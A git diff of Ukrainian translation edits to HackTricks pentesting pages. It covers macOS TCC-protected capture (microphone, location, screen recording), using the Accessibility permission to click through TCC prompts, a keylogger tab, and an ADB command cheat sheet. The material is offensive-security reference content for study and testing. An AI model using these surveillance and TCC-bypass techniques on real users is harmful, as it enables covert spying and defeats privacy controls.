|
|||
|
||||
### Мікрофон
|
||||
|
||||
* **Повноваження**: **com.apple.security.device.audio-input**
|
||||
* **Право**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Запис" %}
|
||||
Записати 5 секунд аудіо та зберегти його у `/tmp/recording.m4a`
|
||||
Записати 5 секунд аудіо та зберегти його в `/tmp/recording.m4a`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -541,9 +541,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Перевірка" %}
|
||||
Перевірте, чи додаток має доступ до мікрофону.
|
||||
{% endtab %}
|
||||
{% tab title="ObjectiveC - Check" %}
|
||||
Перевірте, чи має додаток доступ до мікрофона.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -574,7 +573,7 @@ static void telegram(int argc, const char **argv) {
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Запишіть аудіо тривалістю 5 секунд та збережіть його у `/tmp/recording.wav`
|
||||
Запишіть 5-секундний аудіофайл і збережіть його в `/tmp/recording.wav`
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -587,13 +586,14 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
### Місцезнаходження
|
||||
|
||||
{% hint style="success" %}
|
||||
Для того, щоб додаток отримав доступ до місцезнаходження, **Служби місцезнаходження** (з розділу Конфіденційність та безпека) **повинні бути увімкнені,** інакше він не зможе отримати до нього доступ.
|
||||
Щоб додаток міг отримати місцезнаходження, **Служби місцезнаходження** (з Конфіденційності та безпеки) **повинні бути увімкнені,** інакше він не зможе отримати доступ до нього.
|
||||
{% endhint %}
|
||||
|
||||
* **Повноваження**: `com.apple.security.personal-information.location`
|
||||
* **Право**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: Надано в `/var/db/locationd/clients.plist`
|
||||
|
||||
### ObjectiveC
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Запишіть місцезнаходження в `/tmp/logs.txt`
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
|
@ -653,12 +653,12 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
### Запис екрану
|
||||
|
||||
* **Право доступу**: Немає
|
||||
* **Право**: Немає
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Запишіть основний екран протягом 5 секунд у `/tmp/screen.mov`
|
||||
Записати основний екран протягом 5 секунд у `/tmp/screen.mov`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -715,7 +715,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Запишіть основний екран протягом 5 секунд
|
||||
Записати головний екран на 5 секунд
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
|
@ -724,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov
|
|||
|
||||
### Доступність
|
||||
|
||||
* **Посвідчення**: Немає
|
||||
* **Право**: Немає
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Використовуйте привілеї TCC, щоб прийняти управління Finder, натискаючи клавішу Enter, тим самим обійти TCC.
|
||||
Використовуйте привілей TCC, щоб прийняти контроль над Finder, натискаючи Enter, і таким чином обійти TCC
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Прийняти TCC" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -780,7 +783,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Кейлогер" %}
|
||||
{% tab title="Keylogger" %}
|
||||
Зберігайте натиснуті клавіші в **`/tmp/keystrokes.txt`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -889,19 +892,20 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Доступність - це дуже потужний дозвіл**, ви можете зловживати ним іншими способами, наприклад, ви можете виконати **атаку клавішами** просто з нього, не потрібно викликати Системні події.
|
||||
**Доступність є дуже потужним дозволом**, ви можете зловживати ним іншими способами, наприклад, ви можете виконати **атаку на натискання клавіш** лише з його допомогою, без необхідності викликати System Events.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
|
@ -60,16 +61,17 @@
|
|||
{% embed url="https://ippsec.rocks/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Adb зазвичай розташовується в:**
|
||||
**Adb зазвичай знаходиться в:**
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
@ -23,29 +24,29 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
```
|
||||
**Інформація отримана з:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
# Підключення
|
||||
# З'єднання
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Це виведе список підключених пристроїв; якщо з'явиться "_**unathorised**_", це означає, що вам потрібно **розблокувати** свій **мобільний** пристрій та **підтвердити** підключення.
|
||||
Це відобразить підключені пристрої; якщо з'являється "_**неавторизовано**_", це означає, що вам потрібно **розблокувати** ваш **мобільний** телефон і **прийняти** з'єднання.
|
||||
|
||||
Це вказує пристрою, що він повинен запустити adb-сервер на порту 5555:
|
||||
Це вказує пристрою, що йому потрібно запустити сервер adb на порту 5555:
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
Підключіться до цієї IP-адреси та цього порту:
|
||||
Підключіться до цього IP та цього порту:
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
Якщо ви отримуєте помилку, подібну до наступної у віртуальному програмному забезпеченні для Android (наприклад, Genymotion):
|
||||
Якщо ви отримали помилку, подібну до наступної, у віртуальному програмному забезпеченні Android (наприклад, Genymotion):
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
Це тому, що ви намагаєтеся підключитися до сервера ADB з іншою версією. Просто спробуйте знайти виконуючий файл adb, який використовує програмне забезпечення (перейдіть до `C:\Program Files\Genymobile\Genymotion` та знайдіть adb.exe)
|
||||
Це тому, що ви намагаєтеся підключитися до сервера ADB з іншою версією. Просто спробуйте знайти бінарний файл adb, який використовує програмне забезпечення (перейдіть до `C:\Program Files\Genymobile\Genymotion` і знайдіть adb.exe)
|
||||
|
||||
## Кілька пристроїв
|
||||
|
||||
Кожного разу, коли ви знаходите **декілька пристроїв, підключених до вашого комп'ютера**, вам потрібно **вказати, на якому** з них ви хочете виконати команду adb.
|
||||
Коли ви знайдете **кілька пристроїв, підключених до вашого комп'ютера**, вам потрібно буде **вказати, на якому з них** ви хочете виконати команду adb.
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## Тунелювання портів
|
||||
## Port Tunneling
|
||||
|
||||
У випадку, якщо **порт adb** доступний лише з **localhost** на пристрої Android, але **ви маєте доступ через SSH**, ви можете **перенаправити порт 5555** та підключитися через adb:
|
||||
У випадку, якщо **adb** **порт** доступний лише з **localhost** на андроїд-пристрої, але **у вас є доступ через SSH**, ви можете **перенаправити порт 5555** і підключитися через adb:
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
|
@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555
|
|||
|
||||
## Встановлення/Видалення
|
||||
|
||||
### adb install \[опція] \<шлях>
|
||||
### adb install \[option] \<path>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
|
@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb видалити \[опції] \<ПАКЕТ>
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
|
@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
|
|||
```
|
||||
## Пакети
|
||||
|
||||
Виводить усі пакети, за потреби лише ті, чий ім'я пакета містить текст у \<FILTER>.
|
||||
Виводить всі пакети, за бажанням лише ті, чиє ім'я пакета містить текст у \<FILTER>.
|
||||
|
||||
### adb shell pm list packages \[опції] \<FILTER-STR>
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
|
||||
|
@ -115,43 +116,43 @@ adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
|||
|
||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||
```
|
||||
### adb shell pm path \<ПАКЕТ>
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
Вивести шлях до APK вказаного .
|
||||
Виводить шлях до APK вказаного .
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
### adb shell pm clear \<ПАКЕТ>
|
||||
### adb shell pm clear \<PACKAGE>
|
||||
|
||||
Видалити всі дані, пов'язані з пакетом.
|
||||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# Менеджер файлів
|
||||
# File Manager
|
||||
|
||||
### adb pull \<віддалений> \[локальний]
|
||||
### adb pull \<remote> \[local]
|
||||
|
||||
Завантажити вказаний файл з емулятора/пристрою на ваш комп'ютер.
|
||||
Завантажте вказаний файл з емулятора/пристрою на ваш комп'ютер.
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<локальний> \<віддалений>
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
Завантажити вказаний файл з вашого комп'ютера на емулятор/пристрій.
|
||||
Завантажте вказаний файл з вашого комп'ютера на емулятор/пристрій.
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# Знімок екрана/Відеозапис екрана
|
||||
# Screencapture/Screenrecord
|
||||
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
Знімок екрана пристрою.
|
||||
Знімок екрана дисплея пристрою.
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[опції] \<ім'я_файлу>
|
||||
### adb shell screenrecord \[options] \<filename>
|
||||
|
||||
Запис відображення пристроїв, що працюють під управлінням Android 4.4 (API рівень 19) та вище.
|
||||
Записування екрану пристроїв, що працюють на Android 4.4 (API рівень 19) та вище.
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -160,9 +161,9 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
(press Ctrl-C щоб зупинити запис)
|
||||
(натисніть Ctrl-C, щоб зупинити запис)
|
||||
|
||||
**Ви можете завантажити файли (зображення та відео) використовуючи **_**adb pull**_
|
||||
**Ви можете завантажити файли (зображення та відео) за допомогою **_**adb pull**_
|
||||
|
||||
# Shell
|
||||
|
||||
|
@ -189,42 +190,44 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
|||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# Процеси
|
||||
# Processes
|
||||
|
||||
Якщо ви хочете отримати PID процесу вашого додатку, ви можете виконати:
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
І шукайте свою програму
|
||||
І шукайте свій додаток
|
||||
|
||||
Або ви можете зробити
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
І воно надрукує PID додатку
|
||||
І він виведе PID програми
|
||||
|
||||
# Система
|
||||
# System
|
||||
```bash
|
||||
adb root
|
||||
```
|
||||
Перезапускає демона adbd з кореневими дозволами. Після цього вам потрібно знову підключитися до сервера ADB, і ви будете користувачем root (якщо доступно).
|
||||
Перезапускає демон adbd з правами root. Потім вам потрібно знову підключитися до сервера ADB, і ви будете root (якщо доступно)
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
# Журнали
|
||||
flashing/restoring Android update.zip packages.
|
||||
|
||||
# Logs
|
||||
|
||||
## Logcat
|
||||
|
||||
Для **фільтрації повідомлень лише одного додатку**, отримайте PID додатку та використовуйте grep (linux/macos) або findstr (windows), щоб відфільтрувати вивід logcat:
|
||||
Щоб **відфільтрувати повідомлення лише одного додатку**, отримайте PID додатку та використовуйте grep (linux/macos) або findstr (windows) для фільтрації виходу logcat:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[опція] \[фільтр-специфікації]
|
||||
### adb logcat \[option] \[filter-specs]
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
Примітки: натисніть Ctrl-C, щоб зупинити монітор
|
||||
Notes: натисніть Ctrl-C, щоб зупинити моніторинг
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -240,7 +243,7 @@ adb logcat *:F # filter to only show Fatal level
|
|||
|
||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<Буфер>
|
||||
### adb logcat -b \<Buffer>
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -260,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
|||
```
|
||||
## dumpsys
|
||||
|
||||
виводить системні дані
|
||||
вивантажує системні дані
|
||||
|
||||
### adb shell dumpsys \[опції]
|
||||
### adb shell dumpsys \[options]
|
||||
```bash
|
||||
adb shell dumpsys
|
||||
|
||||
|
@ -270,11 +273,11 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
Примітки: Мобільний пристрій з увімкненими параметрами розробника, що працює під управлінням Android 5.0 або вище.
|
||||
Notes: Мобільний пристрій з увімкненими параметрами розробника, що працює на Android 5.0 або вище.
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
Примітки: [Battery Historian](https://github.com/google/battery-historian) перетворює ці дані в HTML візуалізацію. **КРОК 1** _adb shell dumpsys batterystats > batterystats.txt_ **КРОК 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
Notes: [Battery Historian](https://github.com/google/battery-historian) перетворює ці дані в HTML візуалізацію. **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
|
@ -282,7 +285,7 @@ adb shell dumpsys activity
|
|||
|
||||
# Резервне копіювання
|
||||
|
||||
Резервне копіювання пристрою Android через adb.
|
||||
Резервне копіювання Android-пристрою з adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -298,16 +301,17 @@ adb restore myapp_backup.ab # restore to the same or any other
|
|||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Основи додатків для Android
|
||||
# Основи Android-додатків
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
